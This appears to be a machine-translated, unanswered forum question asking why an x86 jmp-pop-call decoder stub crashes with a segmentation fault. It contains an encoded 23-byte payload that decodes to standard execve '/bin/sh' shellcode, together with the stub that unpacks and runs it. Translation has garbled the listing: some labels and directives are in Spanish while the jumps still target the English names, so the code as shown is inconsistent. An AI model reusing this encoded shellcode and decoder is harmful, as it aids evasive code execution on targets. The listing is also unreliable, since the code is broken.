Decodificador de ensamblaje con técnica de jmp-pop-call

2

Esto es una parte del código en el que no puedo resolver el error. Estoy usando la técnica jmp-pop-call y lo que obtengo es "Falla de segmentación". Intenté usar GDB pero las cosas son realmente vagas. Cada byte está codificado por 1 en python y lo que quiero es decodificar con la siguiente parte del código:

global _start
sección .text

_start:

jmp short call_shellcode

decodificador:

pop esi
xor eax, eax
mov edx, 23

decodificar:

mov bl, byte[esi+eax]
dec byte[esi+eax]

cont:

cmp eax,edx
jz short encodedShellcode
inc eax
jmp short decode

call_shellcode:

call decoder
encodedShellcode db 0x32,0xc1,0x51,0x69,0x30,0x74,0x69,0x69,0x30,0x63,0x6a,0x6f,0x8a,0xe4,0x51,0x54,0x8a,0xe2,0x9a,0xb1,0x0c,0xce,0x81,
    
pregunta George Diathesopoulos 19.12.2014 - 00:18
fuente

0 respuestas

Lea otras preguntas en las etiquetas